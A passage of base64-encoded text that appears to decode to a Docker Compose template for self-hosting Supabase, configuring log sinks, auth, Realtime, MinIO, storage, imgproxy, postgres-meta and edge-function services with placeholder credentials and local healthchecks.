AwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtICdHT1RSVUVfVVJJX0FMTE9XX0xJU1Q9JHtBRERJVElPTkFMX1JFRElSRUNUX1VSTFN9JwogICAgICAtICdHT1RSVUVfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgICAtIEdPVFJVRV9KV1RfQURNSU5fUk9MRVM9c2VydmljZV9yb2xlCiAgICAgIC0gR09UUlVFX0pXVF9BVUQ9YXV0aGVudGljYXRlZAogICAgICAtIEdPVFJVRV9KV1RfREVGQVVMVF9HUk9VUF9OQU1FPWF1dGhlbnRpY2F0ZWQKICAgICAgLSAnR09UUlVFX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgICAgLSAnR09UUlVFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9FTUFJTF9FTkFCTEVEPSR7RU5BQkxFX0VNQUlMX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9BTk9OWU1PVVNfVVNFUlNfRU5BQkxFRD0ke0VOQUJMRV9BTk9OWU1PVVNfVVNFUlM6LWZhbHNlfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9BVVRPQ09ORklSTT0ke0VOQUJMRV9FTUFJTF9BVVRPQ09ORklSTTotZmFsc2V9JwogICAgICAtICdHT1RSVUVfU01UUF9BRE1JTl9FTUFJTD0ke1NNVFBfQURNSU5fRU1BSUx9JwogICAgICAtICdHT1RSVUVfU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnR09UUlVFX1NNVFBfUE9SVD0ke1NNVFBfUE9SVDotNTg3fScKICAgICAgLSAnR09UUlVFX1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1BBU1M9JHtTTVRQX1BBU1N9JwogICAgICAtICdHT1RSVUVfU01UUF9TRU5ERVJfTkFNRT0ke1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0lOVklURT0ke01BSUxFUl9VUkxQQVRIU19JTlZJVEU6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1VSTFBBVEhTX0NPTkZJUk1BVElPTjotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWT0ke01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfVVJMUEFUSFNfRU1BSUxfQ0hBTkdFOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19JTlZJVEU9JHtNQUlMRVJfVEVNUExBVEVTX0lOVklURX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUlk9JHtNQUlMRVJfVEVNUExBVEVTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOSz0ke01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOS30nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT049JHtNQUlMRVJfU1VCSkVDVFNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWT0ke01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfU1VCSkVDVFNfTUFHSUNfTElOSz0ke01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfU1VCSkVDVFNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19JTlZJVEU9JHtNQUlMRVJfU1VCSkVDVFNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX1BIT05FX0VOQUJMRUQ9JHtFTkFCTEVfUEhPTkVfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX1NNU19BVVRPQ09ORklSTT0ke0VOQUJMRV9QSE9ORV9BVVRPQ09ORklSTTotdHJ1ZX0nCiAgcmVhbHRpbWUtZGV2OgogICAgaW1hZ2U6ICdzdXBhYmFzZS9yZWFsdGltZTp2Mi4zNC40NycKICAgIGNvbnRhaW5lcl9uYW1lOiByZWFsdGltZS1kZXYuc3VwYWJhc2UtcmVhbHRpbWUKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctLWhlYWQnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICctSCcKICAgICAgICAtICdBdXRob3JpemF0aW9uOiBCZWFyZXIgJHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvdGVuYW50cy9yZWFsdGltZS1kZXYvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gREJfVVNFUj1zdXBhYmFzZV9hZG1pbgogICAgICAtICdEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnREJfQUZURVJfQ09OTkVDVF9RVUVSWT1TRVQgc2VhcmNoX3BhdGggVE8gX3JlYWx0aW1lJwogICAgICAtIERCX0VOQ19LRVk9c3VwYWJhc2VyZWFsdGltZQogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBGTFlfQUxMT0NfSUQ9Zmx5MTIzCiAgICAgIC0gRkxZX0FQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFQ1JFVF9QQVNTV09SRF9SRUFMVElNRX0nCiAgICAgIC0gJ0VSTF9BRkxBR1M9LXByb3RvX2Rpc3QgaW5ldF90Y3AnCiAgICAgIC0gRU5BQkxFX1RBSUxTQ0FMRT1mYWxzZQogICAgICAtICJETlNfTk9ERVM9JyciCiAgICAgIC0gUkxJTUlUX05PRklMRT0xMDAwMAogICAgICAtIEFQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gU0VFRF9TRUxGX0hPU1Q9dHJ1ZQogICAgICAtIExPR19MRVZFTD1lcnJvcgogICAgICAtIFJVTl9KQU5JVE9SPXRydWUKICAgICAgLSBKQU5JVE9SX0lOVEVSVkFMPTYwMDAwCiAgICBjb21tYW5kOiAic2ggLWMgXCIvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3JlYWx0aW1lIGV2YWwgJ1JlYWx0aW1lLlJlbGVhc2Uuc2VlZHMoUmVhbHRpbWUuUmVwbyknICYmIC9hcHAvYmluL3NlcnZlclwiXG4iCiAgc3VwYWJhc2UtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDAxIiAvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi9kYXRhJwogIG1pbmlvLWNyZWF0ZWJ1Y2tldDoKICAgIGltYWdlOiBtaW5pby9tYwogICAgcmVzdGFydDogJ25vJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLW1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIC9lbnRyeXBvaW50LnNoCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9lbnRyeXBvaW50LnNoCiAgICAgICAgdGFyZ2V0OiAvZW50cnlwb2ludC5zaAogICAgICAgIGNvbnRlbnQ6ICIjIS9iaW4vc2hcbi91c3IvYmluL21jIGFsaWFzIHNldCBzdXBhYmFzZS1taW5pbyBodHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCAke01JTklPX1JPT1RfVVNFUn0gJHtNSU5JT19ST09UX1BBU1NXT1JEfTtcbi91c3IvYmluL21jIG1iIC0taWdub3JlLWV4aXN0aW5nIHN1cGFiYXNlLW1pbmlvL3N0dWI7XG5leGl0IDBcbiIKICBzdXBhYmFzZS1zdG9yYWdlOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdG9yYWdlLWFwaTp2MS4xNC42JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtcmVzdDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgICBpbWdwcm94eToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9zdGF0dXMnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWRVJfUE9SVD01MDAwCiAgICAgIC0gU0VSVkVSX1JFR0lPTj1sb2NhbAogICAgICAtIE1VTFRJX1RFTkFOVD1mYWxzZQogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX3N0b3JhZ2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gREJfSU5TVEFMTF9ST0xFUz1mYWxzZQogICAgICAtIFNUT1JBR0VfQkFDS0VORD1zMwogICAgICAtIFNUT1JBR0VfUzNfQlVDS0VUPXN0dWIKICAgICAgLSAnU1RPUkFHRV9TM19FTkRQT0lOVD1odHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCcKICAgICAgLSBTVE9SQUdFX1MzX0ZPUkNFX1BBVEhfU1RZTEU9dHJ1ZQogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPXVzLWVhc3QtMQogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtIFVQTE9BRF9GSUxFX1NJWkVfTElNSVQ9NTI0Mjg4MDAwCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVF9TVEFOREFSRD01MjQyODgwMDAKICAgICAgLSBVUExPQURfU0lHTkVEX1VSTF9FWFBJUkFUSU9OX1RJTUU9MTIwCiAgICAgIC0gVFVTX1VSTF9QQVRIPXVwbG9hZC9yZXN1bWFibGUKICAgICAgLSBUVVNfTUFYX1NJWkU9MzYwMDAwMAogICAgICAtIEVOQUJMRV9JTUFHRV9UUkFOU0ZPUk1BVElPTj10cnVlCiAgICAgIC0gJ0lNR1BST1hZX1VSTD1odHRwOi8vaW1ncHJveHk6ODA4MCcKICAgICAgLSBJTUdQUk9YWV9SRVFVRVNUX1RJTUVPVVQ9MTUKICAgICAgLSBEQVRBQkFTRV9TRUFSQ0hfUEFUSD1zdG9yYWdlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFJFUVVFU1RfQUxMT1dfWF9GT1JXQVJERURfUEFUSD10cnVlCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIGltZ3Byb3h5OgogICAgaW1hZ2U6ICdkYXJ0aHNpbS9pbWdwcm94eTp2My44LjAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaW1ncHJveHkKICAgICAgICAtIGhlYWx0aAogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSU1HUFJPWFlfTE9DQUxfRklMRVNZU1RFTV9ST09UPS8KICAgICAgLSBJTUdQUk9YWV9VU0VfRVRBRz10cnVlCiAgICAgIC0gJ0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTj0ke0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTjotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIHN1cGFiYXNlLW1ldGE6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3Bvc3RncmVzLW1ldGE6djAuODkuMycKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUEdfTUVUQV9QT1JUPTgwODAKICAgICAgLSAnUEdfTUVUQV9EQl9IT1NUPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUEdfTUVUQV9EQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BHX01FVEFfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gUEdfTUVUQV9EQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ1BHX01FVEFfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICBzdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczoKICAgIGltYWdlOiAnc3VwYWJhc2UvZWRnZS1ydW50aW1lOnYxLjY3LjQnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnRWRnZSBGdW5jdGlvbnMgaXMgaGVhbHRoeScKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdTVVBBQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fU1VQQUJBU0VLT05HfScKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX1JPTEVfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnU1VQQUJBU0VfREJfVVJMPXBvc3RncmVzcWw6Ly9wb3N0Z3Jlczoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnVkVSSUZZX0pXVD0ke0ZVTkNUSU9OU19WRVJJRllfSldUOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvZnVuY3Rpb25zOi9ob21lL2Rlbm8vZnVuY3Rpb25zJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgY29udGVudDogImltcG9ydCB7IHNlcnZlIH0gZnJvbSAnaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTMxLjAvaHR0cC9zZXJ2ZXIudHMnXG5pbXBvcnQgKiBhcyBqb3NlIGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3gvam9zZUB2NC4xNC40L2luZGV4LnRzJ1xuXG5jb25zb2xlLmxvZygnbWFpbiBmdW5jdGlvbiBzdGFydGVkJylcblxuY29uc3QgSldUX1NFQ1JFVCA9IERlbm8uZW52LmdldCgnSldUX1NFQ1JFVCcpXG5jb25zdCBWR